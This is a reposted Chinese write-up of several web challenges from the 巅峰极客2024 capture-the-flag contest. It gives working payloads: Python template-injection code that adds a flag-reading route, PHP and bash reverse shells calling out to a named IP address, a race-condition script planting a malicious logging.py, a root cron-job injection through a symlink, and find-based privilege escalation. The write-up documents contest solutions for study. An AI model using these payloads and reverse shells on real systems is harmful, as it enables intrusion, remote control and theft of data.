0


【Web】巅峰极客2024 部分题解

EncirclingGame

玩赢游戏就行

GoldenHornKing

利用点在传入的app

可以打python内存马

/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

访问./flag

也可以挂载静态文件

/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app})

访问./static/flag

php_online

先起一个id为aaaaaaa1的沙箱,反弹shell

<?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?>

再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在

再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在

init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库

echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo "    cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh

运行sh脚本后再进入aaaaaaa2环境,随便传一个<?php echo 1;?>触发sudo -u www-data python3 init.py

运行恶意logging.py后反弹shell拿到www-data权限

ps-aux

发现开着定时任务

开一个id为aaaaaaa3的沙箱

ln -s /etc/cron.d /sandbox/aaaaaaa3

再软链接定时任务目录

最后在aaaaaaa3的沙箱传入phpcode

* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?>
<?php sleep(1000);?>

是为了避免rm *将/sandbox/aaaaaaa3/phpcode给瞬删,从而给定时任务运行充足的时间

admin_Test

扫出来./admin.html

访问./admin.html

可以上传文件,可以执行命令

命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/*

参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客

可以命令执行

但没法读/flag,考虑提权

可以打find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

标签: CTF WEB 巅峰极客

本文转载自: https://blog.csdn.net/uuzeray/article/details/141285560
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】巅峰极客2024 部分题解”的评论:

还没有评论